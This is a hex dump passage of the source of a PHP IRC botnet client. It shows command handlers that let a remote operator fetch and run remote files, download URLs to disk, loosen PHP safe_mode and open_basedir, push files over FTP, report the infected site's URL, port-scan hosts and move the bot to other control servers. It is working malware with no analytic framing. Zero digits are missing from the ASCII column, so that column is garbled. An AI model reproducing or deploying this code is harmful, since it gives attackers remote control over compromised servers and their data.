9664: 0D0A090909090909090909090909090D0A090909090909090909090909096966          if
9696: 282021656D70747928202475726C695B27686F7374275D20292026262021656D          ( !empty( $urli['host'] ) && !em
9728: 70747928202475726C695B2770617468275D20292026262021656D7074792820          pty( $urli['path'] ) && !empty(
9760: 2475726C695B277175657279275D202920290D0A090909090909090909090909          $urli['query'] ) )
9792: 097B0D0A0909090909090909090909090909246670203D2066736F636B6F7065          { $fp = fsockope
9824: 6E28202475726C695B27686F7374275D2C2038302C20246572726E6F2C202465          n( $urli['host'], 8 , $errno, $e
9856: 72727374722C203520293B0D0A09090909090909090909090909090D0A090909          rrstr, 5 );
9888: 09090909090909090909096966282024667020290D0A09090909090909090909          if( $fp )
9920: 090909097B0D0A090909090909090909090909090909246F7574203D20224745          { $out = "GE
9952: 54202F222E2475726C695B2770617468275D2E2475726C695B27717565727927          T /".$urli['path'].$urli['query'
9984: 5D2E2220485454502F312E315C725C6E223B0D0A090909090909090909090909          ]." HTTP/1.1\r\n";
10016: 090909246F7574202E3D2022486F73743A20222E2475726C695B27686F737427          $out .= "Host: ".$urli['host'
10048: 5D2E225C725C6E223B0D0A090909090909090909090909090909246F7574202E          ]."\r\n"; $out .
10080: 3D20224B6565702D416C6976653A203330305C725C6E223B0D0A090909090909          = "Keep-Alive: 3  \r\n";
10112: 090909090909090909246F7574202E3D2022436F6E6E656374696F6E3A206B65          $out .= "Connection: ke
10144: 65702D616C6976655C725C6E5C725C6E223B0D0A090909090909090909090909          ep-alive\r\n\r\n";
10176: 09090966777269746528202466702C20246F757420293B0D0A09090909090909          fwrite( $fp, $out );
10208: 09090909090909090D0A090909090909090909090909090909246765745F6461          $get_da
10240: 7461203D2027273B0D0A0909090909090909090909090909090D0A0909090909          ta = '';
10272: 090909090909090909097768696C65282166656F662824667029290D0A090909          while(!feof($fp))
10304: 0909090909090909090909097B20246765745F64617461202E3D206667657473          { $get_data .= fgets
10336: 28202466702C2032353620293B207D0D0A090909090909090909090909090909          ( $fp, 256 ); }
10368: 0D0A09090909090909090909090909090924746869732D3E707269766D736728          $this->privmsg(
10400: 2024746869732D3E6765745F6368616E2820292C20275B206578656372666920          $this->get_chan( ), '[ execrfi
10432: 5D2045786563757465642066696C6520272E2466696C6555726C20293B0D0A09          ] Executed file '.$fileUrl );
10464: 0909090909090909090909090909627265616B3B0D0A09090909090909090909          break;
10496: 090909097D0D0A090909090909090909090909097D0D0A090909090909090909          } }
10528: 0909097D0D0A0909090909090909090909090D0A090909090909090909090909          }
10560: 24746869732D3E707269766D7367282024746869732D3E6765745F6368616E28          $this->privmsg( $this->get_chan(
10592: 20292C20275B2065786563726669205D204661696C7572652065786563757469          ), '[ execrfi ] Failure executi
10624: 6E6720272E2466696C6555726C20293B0D0A0909090909090909090909096272          ng '.$fileUrl ); br
10656: 65616B3B0D0A09090909090909090909097D0D0A090909090909090909090963          eak; } c
10688: 6173652022626173653634223A0D0A09090909090909090909097B0D0A090909          ase "base64": {
10720: 090909090909090909247374725F6564203D2073756273747228207374727374          $str_ed = substr( strst
10752: 722820246D73672C20246D636D645B315D20292C207374726C656E2820246D63          r( $msg, $mcmd[1] ), strlen( $mc
10784: 6D645B315D2029202B203120293B0D0A09090909090909090909090973776974          md[1] ) + 1 ); swit
10816: 63682820246D636D645B315D20290D0A0909090909090909090909097B0D0A09          ch( $mcmd[1] ) {
10848: 090909090909090909090909636173652022656E636F6465223A0D0A09090909          case "encode":
10880: 0909090909090909097B0D0A090909090909090909090909090924746869732D          { $this-
10912: 3E707269766D7367282024746869732D3E6765745F6368616E2820292C20225B          >privmsg( $this->get_chan( ), "[
10944: 20626173653634205D20656E636F6465205B2027222E247374725F65642E2227          base64 ] encode [ '".$str_ed."'
10976: 202D3E2027222E6261736536345F656E636F646528247374725F6564292E2227          -> '".base64_encode($str_ed)."'
11008: 205D2220293B0D0A0909090909090909090909090909627265616B3B0D0A0909          ]" ); break;
11040: 09090909090909090909097D0D0A090909090909090909090909096361736520          } case
11072: 226465636F6465223A0D0A090909090909090909090909097B0D0A0909090909          "decode": {
11104: 09090909090909090924746869732D3E707269766D7367282024746869732D3E          $this->privmsg( $this->
11136: 6765745F6368616E2820292C20225B20626173653634205D206465636F646520          get_chan( ), "[ base64 ] decode
11168: 5B2027222E247374725F65642E2227202D3E2027222E6261736536345F646563          [ '".$str_ed."' -> '".base64_dec
11200: 6F646528247374725F6564292E2227205D2220293B0D0A090909090909090909          ode($str_ed)."' ]" );
11232: 0909090909627265616B3B0D0A090909090909090909090909097D0D0A090909          break; }
11264: 0909090909090909097D0D0A090909090909090909090909627265616B3B0D0A          } break;
11296: 09090909090909090909097D0D0A09090909090909090909096361736520226D          } case "m
11328: 6435223A0D0A09090909090909090909097B0D0A090909090909090909090909          d5": {
11360: 247374725F6D6435203D2073756273747228207374727374722820246D73672C          $str_md5 = substr( strstr( $msg,
11392: 20246D636D645B305D20292C207374726C656E2820246D636D645B305D202920          $mcmd[ ] ), strlen( $mcmd[ ] )
11424: 2B203120293B0D0A09090909090909090909090924746869732D3E707269766D          + 1 ); $this->privm
11456: 7367282024746869732D3E6765745F6368616E2820292C20225B206D6435205D          sg( $this->get_chan( ), "[ md5 ]
11488: 205B2027222E247374725F6D64352E2227202D3E2027222E6D64352824737472          [ '".$str_md5."' -> '".md5($str
11520: 5F6D6435292E2227205D2220293B0D0A09090909090909090909090962726561          _md5)."' ]" ); brea
11552: 6B3B0D0A09090909090909090909097D0D0A0909090909090909090909636173          k; } cas
11584: 652022646E73223A0D0A09090909090909090909097B0D0A0909090909090909          e "dns": {
11616: 09090909696628697373657428246D636D645B315D2929200D0A202020202020          if(isset($mcmd[1]))
11648: 2020202020202020202020202020202020202020202020202009090909097B0D          {
11680: 0A20202020202020202020202020202020202020202020202020202020202020         
11712: 2020200909090909246970203D206578706C6F646528222E222C246D636D645B          $ip = explode(".",$mcmd[
11744: 315D293B200D0A20202020202020202020202020202020202020202020202020          1]);
11776: 2020202020202020200909090909696628636F756E7428246970293D3D342026          if(count($ip)==4 &
11808: 262069735F6E756D65726963282469705B305D292026262069735F6E756D6572          & is_numeric($ip[ ]) && is_numer
11840: 6963282469705B315D29200D0A09090909090909090909090909092626206973          ic($ip[1]) && is
11872: 5F6E756D65726963282469705B325D292026262069735F6E756D657269632824          _numeric($ip[2]) && is_numeric($
11904: 69705B335D2929200D0A20202020202020202020202020202020202020202020          ip[3]))
11936: 20202020202020202020202009090909097B0D0A202020202020202020202020          {
11968: 2020202020202020202020202020202020202020202020202009090909092474          $t
12000: 6869732D3E707269766D73672824746869732D3E6765745F6368616E2820292C          his->privmsg($this->get_chan( ),
12032: 225B20646E73205D3A20222E246D636D645B315D2E22203D3E20222E67657468          "[ dns ]: ".$mcmd[1]." => ".geth
12064: 6F737462796164647228246D636D645B315D29293B200D0A2020202020202020          ostbyaddr($mcmd[1]));
12096: 202020202020202020202020202020202020202020202020202009090909097D          }
12128: 0D0A202020202020202020202020202020202020202020202020202020202020         
12160: 202020200909090909656C7365200D0A20202020202020202020202020202020          else
12192: 20202020202020202020202020202020202009090909097B0D0A202020202020          {
12224: 2020202020202020202020202020202020202020202020202020202020202009         
12256: 0909090924746869732D3E707269766D73672824746869732D3E6765745F6368          $this->privmsg($this->get_ch
12288: 616E2820292C225B20646E73205D3A20222E246D636D645B315D2E22203D3E20          an( ),"[ dns ]: ".$mcmd[1]." =>
12320: 222E676574686F737462796E616D6528246D636D645B315D29293B200D0A2020          ".gethostbyname($mcmd[1]));
12352: 2020202020202020202020202020202020202020202020202020202020202020         
12384: 09090909097D0D0A202020202020202020202020202020202020202020202020          }
12416: 2020202020202009090909097D0D0A090909090909090909090909627265616B          } break
12448: 3B0D0A09090909090909090909097D0D0A090909090909090909090963617365          ; } case
12480: 202265786974223A0D0A09090909090909090909097B0D0A0909090909090909          "exit": {
12512: 0909090966636C6F7365282024746869732D3E636F6E6E20293B0D0A09090909          fclose( $this->conn );
12544: 0909090909090909657869742820293B0D0A0909090909090909090909096272          exit( ); br
12576: 65616B3B0D0A09090909090909090909097D0D0A090909090909090909090963          eak; } c
12608: 617365202272657374617274223A0D0A09090909090909090909097B0D0A0909          ase "restart": {
12640: 0909090909090909090924746869732D3E707269766D7367282024746869732D          $this->privmsg( $this-
12672: 3E6765745F6368616E2820292C20225B2072657374617274205D206578656375          >get_chan( ), "[ restart ] execu
12704: 746564206279205B222E246E69636B2E225D2220293B0D0A0909090909090909          ted by [".$nick."]" );
12736: 0909090924746869732D3E73656E6428202251554954203A7265737461727420          $this->send( "QUIT :restart
12768: 636F6D6D616E642066726F6D20222E246E69636B20293B0D0A09090909090909          command from ".$nick );
12800: 090909090966636C6F7365282024746869732D3E636F6E6E20293B0D0A090909          fclose( $this->conn );
12832: 09090909090909090924746869732D3E737461727428293B0D0A090909090909          $this->start();
12864: 090909090909627265616B3B0D0A09090909090909090909097D0D0A09090909          break; }
12896: 090909090909096361736520226273223A0D0A09090909090909090909097B0D          case "bs": {
12928: 0A0909090909090909090909096966282024746869732D3E69735F7361666528          if( $this->is_safe(
12960: 202920290D0A0909090909090909090909097B0D0A0909090909090909090909          ) ) {
12992: 0909696E695F726573746F7265282022736166655F6D6F64652220293B0D0A09          ini_restore( "safe_mode" );
13024: 090909090909090909090909696E695F726573746F72652820226F70656E5F62          ini_restore( "open_b
13056: 6173656469722220293B0D0A0909090909090909090909097D0D0A0909090909          asedir" ); }
13088: 090909090909090D0A09090909090909090909090924736166656D6F6465203D          $safemode =
13120: 20226F6E223B0D0A090909090909090909090909696628202124746869732D3E          "on"; if( !$this->
13152: 69735F7361666528202920290D0A0909090909090909090909097B0D0A090909          is_safe( ) ) {
13184: 0909090909090909090924736166656D6F6465203D20226F6666223B0D0A0909          $safemode = "off";
13216: 090909090909090909090924746869732D3E7365745F6E69636B28293B0D0A09          $this->set_nick();
13248: 09090909090909090909097D0D0A09090909090909090909090924746869732D          } $this-
13280: 3E707269766D7367282024746869732D3E6765745F6368616E2820292C20275B          >privmsg( $this->get_chan( ), '[
13312: 2073616665205D20272E24736166656D6F646520293B0D0A0909090909090909          safe ] '.$safemode );
13344: 0909097D0D0A09090909090909090909096361736520226D6F76657365727665          } case "moveserve
13376: 72223A0D0A09090909090909090909097B0D0A09090909090909090909090969          r": { i
13408: 662820636F756E742820246D636D642029203E203320290D0A09090909090909          f( count( $mcmd ) > 3 )
13440: 09090909097B0D0A0909090909090909090909090924736572766572203D2024          { $server = $
13472: 6D636D645B315D3B0D0A0909090909090909090909090924706F7274203D2024          mcmd[1]; $port = $
13504: 6D636D645B325D3B0D0A09090909090909090909090909246368616E6E656C20          mcmd[2]; $channel
13536: 3D20246D636D645B335D3B0D0A09090909090909090909090909246B6579203D          = $mcmd[3]; $key =
13568: 20246D636D645B345D3B0D0A090909090909090909090909090D0A0909090909          $mcmd[4];
13600: 09090909090909096966282024746869732D3E7573696E675F656E636F646520          if( $this->using_encode
13632: 290D0A090909090909090909090909097B0D0A09090909090909090909090909          ) {
13664: 0924746869732D3E636F6E6669675B202773657276657227205D203D20626173          $this->config[ 'server' ] = bas
13696: 6536345F656E636F646528202473657276657220293B0D0A0909090909090909          e64_encode( $server );
13728: 09090909090924746869732D3E636F6E6669675B20276368616E27205D203D20          $this->config[ 'chan' ] =
13760: 6261736536345F656E636F646528207374725F7265706C61636528202223222C          base64_encode( str_replace( "#",
13792: 2022222C20246368616E6E656C202920293B0D0A090909090909090909090909          "", $channel ) );
13824: 090924746869732D3E636F6E6669675B20276B657927205D203D206261736536          $this->config[ 'key' ] = base6
13856: 345F656E636F64652820246B657920293B0D0A09090909090909090909090909          4_encode( $key );
13888: 7D0D0A09090909090909090909090909656C73650D0A09090909090909090909          } else
13920: 0909097B0D0A090909090909090909090909090924746869732D3E636F6E6669          { $this->confi
13952: 675B202773657276657227205D203D20247365727665723B0D0A090909090909          g[ 'server' ] = $server;
13984: 090909090909090924746869732D3E636F6E6669675B20276368616E27205D20          $this->config[ 'chan' ]
14016: 3D207374725F7265706C61636528202223222C2022222C20246368616E6E656C          = str_replace( "#", "", $channel
14048: 20293B0D0A090909090909090909090909090924746869732D3E636F6E666967          ); $this->config
14080: 5B20276B657927205D203D20246B65793B0D0A09090909090909090909090909          [ 'key' ] = $key;
14112: 7D0D0A090909090909090909090909090D0A0909090909090909090909090924          } $
14144: 746869732D3E636F6E6669675B2027706F727427205D203D2024706F72743B0D          this->config[ 'port' ] = $port;
14176: 0A0909090909090909090909090924746869732D3E707269766D736728202474          $this->privmsg( $t
14208: 6869732D3E6765745F6368616E2820292C20225B206D6F766573657276657220          his->get_chan( ), "[ moveserver
14240: 5D20222E247365727665722E22203D3E20222E24706F72742E22203D3E20222E          ] ".$server." => ".$port." => ".
14272: 246368616E6E656C2E22203D3E20222E246B657920293B0D0A09090909090909          $channel." => ".$key );
14304: 09090909090924746869732D3E73656E6428202251554954203A6D6F76657365          $this->send( "QUIT :movese
14336: 7276657220636F6D6D616E642066726F6D20222E246E69636B20293B0D0A0909          rver command from ".$nick );
14368: 09090909090909090909090D0A0909090909090909090909090966636C6F7365          fclose
14400: 282024746869732D3E636F6E6E20293B0D0A0909090909090909090909090924          ( $this->conn ); $
14432: 746869732D3E737461727428293B0D0A0909090909090909090909097D0D0A09          this->start(); }
14464: 0909090909090909090909627265616B3B0D0A09090909090909090909097D0D          break; }
14496: 0A090909090909090909090963617365202277686F6973223A0D0A0909090909          case "whois":
14528: 0909090909097B0D0A09090909090909090909090924706172616D32203D2024          { $param2 = $
14560: 6D636D645B315D3B0D0A0909090909090909090909090D0A0909090909090909          mcmd[1];
14592: 090909096966282021656D707479282024706172616D32202920290D0A090909          if( !empty( $param2 ) )
14624: 0909090909090909097B0D0A090909090909090909090909092F2F646F206974          { //do it
14656: 0D0A090909090909090909090909092F2F687474703A2F2F77732E6172696E2E          //http://ws.arin.
14688: 6E65742F77686F69732F3F7175657279696E7075743D3132372E302E302E310D          net/whois/?queryinput=127. . .1
14720: 0A09090909090909090909090909246670203D2066736F636B6F70656E282022          $fp = fsockopen( "
14752: 77732E6172696E2E6E6574222C2038302C20246572726E6F2C20246572727374          ws.arin.net", 8 , $errno, $errst
14784: 722C20333020293B0D0A090909090909090909090909090D0A09090909090909          r, 3  );
14816: 0909090909096966282024667020290D0A090909090909090909090909097B0D          if( $fp ) {
14848: 0A0909090909090909090909090909246F7574203D2022474554202F77686F69          $out = "GET /whoi
14880: 732F3F7175657279696E7075743D24706172616D3220485454502F312E315C72          s/?queryinput=$param2 HTTP/1.1\r
14912: 5C6E223B0D0A0909090909090909090909090909246F7574202E3D2022486F73          \n"; $out .= "Hos
14944: 743A2077732E6172696E2E6E65745C725C6E223B0D0A09090909090909090909          t: ws.arin.net\r\n";
14976: 09090909246F7574202E3D20224B6565702D416C6976653A203330305C725C6E          $out .= "Keep-Alive: 3  \r\n
15008: 223B0D0A0909090909090909090909090909246F7574202E3D2022436F6E6E65          "; $out .= "Conne
15040: 6374696F6E3A206B6565702D616C6976655C725C6E5C725C6E223B0D0A090909          ction: keep-alive\r\n\r\n";
15072: 090909090909090909090966777269746528202466702C20246F757420293B0D          fwrite( $fp, $out );
15104: 0A090D0A09090909090909090909090909092477686F64617461203D2027273B          $whodata = '';
15136: 0D0A09090909090909090909090909097768696C65282166656F662824667029          while(!feof($fp)
15168: 290D0A09090909090909090909090909097B0D0A090909090909090909090909          ) {
15200: 0909092F2A646F206E6F7468696E672A2F0D0A09090909090909090909090909          /*do nothing*/
15232: 09092477686F64617461202E3D20667265616428202466702C20313032342029          $whodata .= fread( $fp, 1 24 )
15264: 3B0D0A09090909090909090909090909097D0D0A090909090909090909090909          ; }
15296: 09090D0A0909090909090909090909090909246578706C6B203D206578706C6F          $explk = explo
15328: 64652820223C6469762069643D5C22636F6E74656E745C223E222C202477686F          de( "<div id=\"content\">", $who
15360: 6461746120293B0D0A0909090909090909090909090909246578706C6B203D20          data ); $explk =
15392: 6578706C6F64652820223C2F6469763E222C20246578706C6B5B315D20293B0D          explode( "</div>", $explk[1] );
15424: 0A09090909090909090909090909092468746D6C646174203D2073747269705F          $htmldat = strip_
15456: 746167732820246578706C6B5B305D20293B0D0A0D0A09090909090909090909          tags( $explk[ ] );
15488: 0909090966636C6F7365282024667020293B0D0A090909090909090909090909          fclose( $fp );
15520: 09090D0A090909090909090909090909090924746869732D3E707269766D7367          $this->privmsg
15552: 282024746869732D3E6765745F6368616E2820292C20225B2077686F6973205D          ( $this->get_chan( ), "[ whois ]
15584: 202468746D6C6461742220293B0D0A0D0A090909090909090909090909097D65          $htmldat" ); }e
15616: 6C73657B0D0A090909090909090909090909090924746869732D3E707269766D          lse{ $this->privm
15648: 7367282024746869732D3E6765745F6368616E2820292C20225B2077686F6973          sg( $this->get_chan( ), "[ whois
15680: 205D204572726F723A20246572727374722220293B0D0A090909090909090909          ] Error: $errstr" );
15712: 090909097D0D0A0909090909090909090909097D0D0A09090909090909090909          } }
15744: 0909656C73650D0A0909090909090909090909097B0D0A090909090909090909          else {
15776: 0909090924746869732D3E707269766D7367282024746869732D3E6765745F63          $this->privmsg( $this->get_c
15808: 68616E2820292C20225B2077686F6973205D20496E76616C696420706172616D          han( ), "[ whois ] Invalid param
15840: 732C20757365202E77686F6973203C69702F686F73743E2220293B0D0A090909          s, use .whois <ip/host>" );
15872: 0909090909090909097D0D0A090909090909090909090909627265616B3B0D0A          } break;
15904: 09090909090909090909097D0D0A090909090909090909090963617365202275          } case "u
15936: 70667470223A0D0A09090909090909090909097B0D0A09090909090909090909          pftp": {
15968: 09092F2F6674703A2F2F757365723A70617373776F726440686F73742E636F6D          //ftp://user:password@host.com
16000: 0D0A0909090909090909090909092470667470203D2070617273655F75726C28          $pftp = parse_url(
16032: 20246D636D645B315D20293B0D0A0909090909090909090909092466696C6520          $mcmd[1] ); $file
16064: 3D20246D636D645B325D3B0D0A0909090909090909090909092464657374203D          = $mcmd[2]; $dest =
16096: 20246D636D645B335D3B0D0A0909090909090909090909090D0A090909090909          $mcmd[3];
16128: 09090909090969662820656D707479282024706674705B2027686F737427205D          if( empty( $pftp[ 'host' ]
16160: 20290D0A090909090909090909090909097C7C20656D70747928202470667470          ) || empty( $pftp
16192: 5B20277573657227205D20290D0A090909090909090909090909097C7C20656D          [ 'user' ] ) || em
16224: 707479282024706674705B20277061737327205D20290D0A0909090909090909          pty( $pftp[ 'pass' ] )
16256: 09090909097C7C20656D70747928202466696C6520290D0A0909090909090909          || empty( $file )
16288: 09090909097C7C20656D70747928202464657374202920290D0A090909090909          || empty( $dest ) )
16320: 0909090909097B0D0A0909090909090909090909090924746869732D3E707269          { $this->pri
16352: 766D7367282024746869732D3E6765745F6368616E2820292C20225B20757066          vmsg( $this->get_chan( ), "[ upf
16384: 7470205D2055524C206C696E6520696E76616C6964212220293B0D0A09090909          tp ] URL line invalid!" );
16416: 09090909090909097D0D0A090909090909090909090909656C73650D0A090909          } else
16448: 0909090909090909097B0D0A0909090909090909090909090924636F6E6E5F69          { $conn_i
16480: 64203D206674705F636F6E6E656374282024706674705B2027686F737427205D          d = ftp_connect( $pftp[ 'host' ]
16512: 20293B0D0A09090909090909090909090909246C6F67696E5F726573756C7420          ); $login_result
16544: 3D206674705F6C6F67696E282024636F6E6E5F69642C2024706674705B202775          = ftp_login( $conn_id, $pftp[ 'u
16576: 73657227205D2C2024706674705B20277061737327205D20293B0D0A09090909          ser' ], $pftp[ 'pass' ] );
16608: 0909090909090909090D0A090909090909090909090909096966282028202124          if( ( !$
16640: 636F6E6E5F69642029207C7C20282021246C6F67696E5F726573756C74202920          conn_id ) || ( !$login_result )
16672: 29200D0A090909090909090909090909097B0D0A090909090909090909090909          ) {
16704: 090924746869732D3E707269766D7367282024746869732D3E6765745F636861          $this->privmsg( $this->get_cha
16736: 6E2820292C20225B207570667470205D2046545020636F6E6E656374696F6E20          n( ), "[ upftp ] FTP connection
16768: 6661696C6564212220293B0D0A090909090909090909090909097D0D0A090909          failed!" ); }
16800: 09090909090909090909656C73650D0A090909090909090909090909097B0D0A          else {
16832: 090909090909090909090909090924746869732D3E707269766D736728202474          $this->privmsg( $t
16864: 6869732D3E6765745F6368616E2820292C20225B207570667470205D20436F6E          his->get_chan( ), "[ upftp ] Con
16896: 6E656374656420746F20222E24706674705B2027686F737427205D2E2220666F          nected to ".$pftp[ 'host' ]." fo
16928: 72207573657220222E24706674705B20277573657227205D20293B0D0A090909          r user ".$pftp[ 'user' ] );
16960: 09090909090909090909092475706C6F6164203D206674705F70757428202463          $upload = ftp_put( $c
16992: 6F6E6E5F69642C2024646573742C202466696C652C204654505F42494E415259          onn_id, $dest, $file, FTP_BINARY
17024: 20293B0D0A090909090909090909090909090969662820212475706C6F616420          ); if( !$upload
17056: 290D0A09090909090909090909090909097B0D0A090909090909090909090909          ) {
17088: 09090924746869732D3E707269766D7367282024746869732D3E6765745F6368          $this->privmsg( $this->get_ch
17120: 616E2820292C20225B207570667470205D204654502075706C6F61642066616C          an( ), "[ upftp ] FTP upload fal
17152: 6564212220293B0D0A09090909090909090909090909097D0D0A090909090909          ed!" ); }
17184: 0909090909090909656C73650D0A09090909090909090909090909097B0D0A09          else {
17216: 090909090909090909090909090924746869732D3E707269766D736728202474          $this->privmsg( $t
17248: 6869732D3E6765745F6368616E2820292C20225B207570667470205D20465450          his->get_chan( ), "[ upftp ] FTP
17280: 2075706C6F61642073756363657373212220293B0D0A09090909090909090909          upload success!" );
17312: 090909090924746869732D3E707269766D7367282024746869732D3E6765745F          $this->privmsg( $this->get_
17344: 6368616E2820292C20225B207570667470205D2055706C6F616465642027222E          chan( ), "[ upftp ] Uploaded '".
17376: 2466696C652E222720746F2027222E24646573742E22272220293B0D0A090909          $file."' to '".$dest."'" );
17408: 09090909090909090909097D0D0A090909090909090909090909097D0D0A0909          } }
17440: 090909090909090909097D0D0A090909090909090909090909627265616B3B0D          } break;
17472: 0A09090909090909090909097D0D0A0909090909090909090909636173652022          } case "
17504: 6A6F696E6368616E223A0D0A09090909090909090909097B0D0A090909090909          joinchan": {
17536: 090909090909246368616E6E656C203D20246D636D645B315D3B0D0A09090909          $channel = $mcmd[1];
17568: 0909090909090909246B6579203D20246D636D645B325D3B0D0A090909090909          $key = $mcmd[2];
17600: 09090909090924746869732D3E707269766D7367282024746869732D3E676574          $this->privmsg( $this->get
17632: 5F6368616E2820292C20225B206A6F696E6368616E205D20222E246368616E6E          _chan( ), "[ joinchan ] ".$chann
17664: 656C2E22203D3E20222E246B657920293B0D0A09090909090909090909090924          el." => ".$key ); $
17696: 746869732D3E6A6F696E2820246368616E6E656C2C20246B657920293B0D0A09          this->join( $channel, $key );
17728: 0909090909090909090909627265616B3B0D0A09090909090909090909097D0D          break; }
17760: 0A0909090909090909090909636173652022706172746368616E223A0D0A0909          case "partchan":
17792: 0909090909090909097B0D0A09090909090909090909090924746869732D3E70          { $this->p
17824: 7269766D7367282024746869732D3E6765745F6368616E2820292C20225B2070          rivmsg( $this->get_chan( ), "[ p
17856: 6172746368616E205D20222E246D636D645B315D20293B0D0A09090909090909          artchan ] ".$mcmd[1] );
17888: 090909090924746869732D3E73656E642820225041525420222E246D636D645B          $this->send( "PART ".$mcmd[
17920: 315D20293B0D0A09090909090909090909097D0D0A0909090909090909090909          1] ); }
17952: 63617365202276756C6E223A0D0A09090909090909090909097B0D0A09090909          case "vuln": {
17984: 0909090909090909247365727665725F6E616D65203D20245F5345525645525B          $server_name = $_SERVER[
18016: 275345525645525F4E414D45275D3B0D0A090909090909090909090909247265          'SERVER_NAME']; $re
18048: 715F757269203D20245F5345525645525B27524551554553545F555249275D3B          q_uri = $_SERVER['REQUEST_URI'];
18080: 0D0A0909090909090909090909090D0A09090909090909090909090969662820          if(
18112: 247365727665725F6E616D6520213D20226C6F63616C686F7374222026262024          $server_name != "localhost" && $
18144: 7365727665725F6E616D6520213D20223132372E302E302E312220290D0A0909          server_name != "127. . .1" )
18176: 090909090909090909097B0D0A09090909090909090909090909696628207374          { if( st
18208: 726C656E2820247365727665725F6E616D652029202626207374726C656E2820          rlen( $server_name ) && strlen(
18240: 247265715F757269202920290D0A090909090909090909090909097B0D0A0909          $req_uri ) ) {
18272: 0909090909090909090909092476756C6E203D2022687474703A2F2F222E2473          $vuln = "http://".$s
18304: 65727665725F6E616D652E247265715F7572693B0D0A09090909090909090909          erver_name.$req_uri;
18336: 0909090924746869732D3E707269766D7367282024746869732D3E6765745F63          $this->privmsg( $this->get_c
18368: 68616E2820292C20225B2067657476756C6E205D20222E2476756C6E20293B0D          han( ), "[ getvuln ] ".$vuln );
18400: 0A090909090909090909090909097D0D0A0909090909090909090909097D0D0A          } }
18432: 090909090909090909090909627265616B3B0D0A09090909090909090909097D          break; }
18464: 0D0A0909090909090909090909636173652022646F776E6C6F6164223A0D0A09          case "download":
18496: 090909090909090909097B0D0A09090909090909090909090969662820636F75          { if( cou
18528: 6E742820246D636D642029203E203220290D0A0909090909090909090909097B          nt( $mcmd ) > 2 ) {
18560: 0D0A090909090909090909090909096966282021246670203D20666F70656E28          if( !$fp = fopen(
18592: 20246D636D645B2032205D2C20227722202920290D0A09090909090909090909          $mcmd[ 2 ], "w" ) )
18624: 0909097B0D0A090909090909090909090909090924746869732D3E707269766D          { $this->privm
18656: 7367282024746869732D3E6765745F6368616E2820292C20225B20646F776E6C          sg( $this->get_chan( ), "[ downl
18688: 6F6164205D205065726D697373696F6E2064656E696564212220293B0D0A0909          oad ] Permission denied!" );
18720: 09090909090909090909097D0D0A09090909090909090909090909656C73650D          } else
18752: 0A090909090909090909090909097B0D0A090909090909090909090909090969          { i
18784: 6628202124676574203D2066696C652820246D636D645B2031205D202920290D          f( !$get = file( $mcmd[ 1 ] ) )
18816: 0A09090909090909090909090909097B0D0A0909090909090909090909090909          {
18848: 0924746869732D3E707269766D7367282024746869732D3E6765745F6368616E          $this->privmsg( $this->get_chan
18880: 2820292C20225B20646F776E6C6F6164205D20446F776E6C6F6164206661696C          ( ), "[ download ] Download fail
18912: 6564212220293B0D0A09090909090909090909090909097D0D0A090909090909          ed!" ); }
18944: 0909090909090909656C73650D0A09090909090909090909090909097B0D0A09          else {
18976: 0909090909090909090909090909666F72282024693D303B202469203C3D2063          for( $i= ; $i <= c
19008: 6F756E7428202467657420293B2024692B2B2029200D0A090909090909090909          ount( $get ); $i++ )
19040: 0909090909097B200D0A09090909090909090909090909090909667772697465          { fwrite
19072: 28202466702C20246765745B202469205D20293B200D0A090909090909090909          ( $fp, $get[ $i ] );
19104: 0909090909097D0D0A09090909090909090909090909090924746869732D3E70          } $this->p
19136: 7269766D7367282024746869732D3E6765745F6368616E2820292C225B20646F          rivmsg( $this->get_chan( ),"[ do
19168: 776E6C6F6164205D2055524C205B222E246D636D645B2031205D2E225D20746F          wnload ] URL [".$mcmd[ 1 ]."] to
19200: 205B222E246D636D645B2032205D2E225D22293B0D0A09090909090909090909          [".$mcmd[ 2 ]."]");
19232: 090909097D0D0A0D0A090909090909090909090909090966636C6F7365282024          } fclose( $
19264: 667020293B0D0A090909090909090909090909097D0D0A090909090909090909          fp ); }
19296: 0909097D0D0A090909090909090909090909656C73650D0A0909090909090909          } else
19328: 090909097B0D0A0909090909090909090909090924746869732D3E707269766D          { $this->privm
19360: 7367282024746869732D3E6765745F6368616E2820292C20225B20646F776E6C          sg( $this->get_chan( ), "[ downl
19392: 6F6164205D20496E76616C696420506172616D65746572732C206964696F7421          oad ] Invalid Parameters, idiot!
19424: 2220293B0D0A0909090909090909090909097D0D0A0909090909090909090909          " ); }
19456: 09627265616B3B0D0A09090909090909090909097D0D0A090909090909090909          break; }
19488: 0909636173652022706D7367223A0D0A09090909090909090909097B0D0A0909          case "pmsg": {
19520: 0909090909090909090924706572736F6E203D20246D636D645B315D3B0D0A09          $person = $mcmd[1];
19552: 09090909090909090909092474657874203D2073756273747228207374727374          $text = substr( strst
19584: 722820246D73672C20246D636D645B315D20292C207374726C656E2820246D63          r( $msg, $mcmd[1] ), strlen( $mc
19616: 6D645B315D2029202B203120293B0D0A09090909090909090909090924746869          md[1] ) + 1 ); $thi
19648: 732D3E707269766D7367282024746869732D3E6765745F6368616E2820292C20          s->privmsg( $this->get_chan( ),
19680: 225B20706D7367205D20222E24706572736F6E2E22203D3E20222E2474657874          "[ pmsg ] ".$person." => ".$text
19712: 20293B0D0A09090909090909090909090924746869732D3E707269766D736728          ); $this->privmsg(
19744: 2024706572736F6E2C20247465787420293B0D0A090909090909090909090909          $person, $text );
19776: 627265616B3B0D0A09090909090909090909097D0D0A09090909090909090909          break; }
19808: 09636173652022707363616E223A0D0A09090909090909090909097B0D0A0909          case "pscan": {
19840: 0909090909090909090924686F7374203D20246D636D645B315D3B0D0A090909          $host = $mcmd[1];
19872: 09090909090909090924626567696E706F7274203D20246D636D645B325D3B0D          $beginport = $mcmd[2];
19904: 0A09090909090909090909090924656E64706F7274203D20246D636D645B335D          $endport = $mcmd[3]
19936: 3B0D0A090909090909090909090909246F70656E5F706F727473203D20224F70          ; $open_ports = "Op
19968: 656E20506F7274204C69737420666F7220222E24686F73742E223A20223B0D0A          en Port List for ".$host.": ";
20000: 0909090909090909090909090D0A090909090909090909090909666F72282469          for($i
20032: 203D2024626567696E706F72743B202469203C2024656E64706F72743B202469          = $beginport; $i < $endport; $i
20064: 2B2B290D0A0909090909090909090909097B0D0A090909090909090909090909          ++) {
20096: 096966282024746869732D3E7363616E706F7274282024686F73742C20246920          if( $this->scanport( $host, $i
20128: 2920290D0A090909090909090909090909097B0D0A0909090909090909090909          ) ) {
20160: 090909246F70656E5F706F727473202E3D20227C222E24693B0D0A0909090909          $open_ports .= "|".$i;
20192: 09090909090909097D0D0A0909090909090909090909097D0D0A090909090909          } }
